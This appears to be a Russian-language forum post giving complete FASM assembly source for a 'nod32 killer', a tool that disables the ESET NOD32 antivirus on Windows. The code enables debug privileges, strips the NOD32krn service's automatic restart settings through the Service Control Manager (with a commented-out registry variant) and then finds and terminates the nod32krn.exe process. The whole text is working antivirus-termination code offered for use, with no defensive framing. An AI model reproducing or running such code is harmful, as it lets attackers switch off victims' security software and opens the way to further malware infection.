Пример работы с Нодом:
Код:
; --------------------------------------------------------------------------------------
; nod32 killer
; Created by Ct757
; --------------------------------------------------------------------------------------
format PE GUI 4.0
entry start
include '%fasminc%\win32a.inc'
section '.main' code readable writeable executable
SC_MANAGER_ALL_ACCESS = 0x000F003F
SERVICE_ALL_ACCESS = 0x000F01FF
SERVICE_CONFIG_FAILURE_ACTIONS = 2
SERVICE_CONTROL_STATUS_REASON_INFO = 1
; szNODService db 'SYSTEM\CurrentControlSet\Services\NOD32krn',0
; szFailureActions db 'FailureActions',0
szNODExeFile db 'nod32krn.exe',0
szSeDebugPrivilege db 'SeDebugPrivilege',0
szNODSvcName db 'NOD32krn',0
; hKey dd ?
hSCM dd ?
hSvc dd ?
hSnap dd ?
hToken dd ?
ReturnLength dd ?
align 0x10
tkp: ; struct TOKEN_PRIVILEGES
.PrivilegeCount dd ?
.LowPart dd ?
.HighPart dd ?
.Attributes dd ?
PrivLUID: ; struct LUID
.LowPart dd ?
.HighPart dd ?
sfa: ; struct SERVICE_FAILURE_ACTIONS
.dwResetPeriod dd -1
.lpRebootMsg dd 0
.lpCommand dd 0
.cActions dd 3
.lpsaActions dd act
act db (2*4*3) dup (0) ; array of 3 SC_ACTION structs
p_ent: ; struct PROCESSENTRY32
.dwSize dd p_ent_size
.cntUsage dd ?
.th32ProcessID dd ?
.th32DefaultHeapID dd ?
.th32ModuleID dd ?
.cntThreads dd ?
.th32ParentProcessID dd ?
.pcPriClassBase dd ?
.dwFlags dd ?
.szExeFile db 260 dup(?)
p_ent_size = $ - p_ent
start:
; --------------------------------------------------------------------------------------
; Получение отладочных привилегий:
invoke OpenProcessToken,-1,0x0028,hToken
invoke LookupPrivilegeValue,0,szSeDebugPrivilege,PrivLUID
test eax,eax
je close_token
push [PrivLUID.LowPart]
pop [tkp.LowPart]
push [PrivLUID.HighPart]
pop [tkp.HighPart]
mov [tkp.Attributes],2 ; SE_PRIVILEGE_ENABLED
mov [tkp.PrivilegeCount],1
invoke AdjustTokenPrivileges,[hToken],FALSE,tkp,0x10,tkp,ReturnLength
close_token:
invoke CloseHandle,[hToken]
; --------------------------------------------------------------------------------------
; --------------------------------------------------------------------------------------
; Отключение восстановления сервиса через SCM:
invoke OpenSCManager,0,0,SC_MANAGER_ALL_ACCESS
test eax,eax
je exit
mov [hSCM],eax
invoke OpenService,eax,szNODSvcName,SERVICE_ALL_ACCESS
test eax,eax
je close_scm
mov [hSvc],eax
invoke ChangeServiceConfig2,eax,SERVICE_CONFIG_FAILURE_ACTIONS,sfa
invoke CloseServiceHandle,[hSvc]
close_scm:
invoke CloseServiceHandle,[hSCM]
; --------------------------------------------------------------------------------------
; --------------------------------------------------------------------------------------
; Вариант отключения восстановления напрямую через реестр:
;
; invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,szNODService,0,KEY_SET_VALUE,hKey
; test eax,eax
; jne exit
;
; invoke RegDeleteValue,[hKey],szFailureActions
;
; invoke RegCloseKey,[hKey]
;
; --------------------------------------------------------------------------------------
; --------------------------------------------------------------------------------------
; Поиск и завершение процесса:
find_nod32_pid:
invoke CreateToolhelp32Snapshot,2,0
inc eax
je exit
dec eax
mov [hSnap],eax
invoke Process32First,eax,p_ent
test eax,eax
je close_snap
check_process:
invoke lstrcmpi,p_ent.szExeFile,szNODExeFile
test eax,eax
jne next_process
invoke OpenProcess,PROCESS_TERMINATE,FALSE,[p_ent.th32ProcessID]
test eax,eax
je next_process
xchg eax,ebx
invoke TerminateProcess,ebx,0
invoke CloseHandle,ebx
next_process:
invoke Process32Next,[hSnap],p_ent
test eax,eax
jne check_process
close_snap:
invoke CloseHandle,[hSnap]
; --------------------------------------------------------------------------------------
exit:
invoke ExitProcess,0
section '.idata' import data readable writeable
library kernel32, 'KERNEL32.DLL',\
user32, 'USER32.DLL',\
advapi32, 'ADVAPI32.DLL'
include '%fasminc%\APIA\kernel32.inc'
include '%fasminc%\APIA\user32.inc'
include '%fasminc%\APIA\advapi32.inc'
|
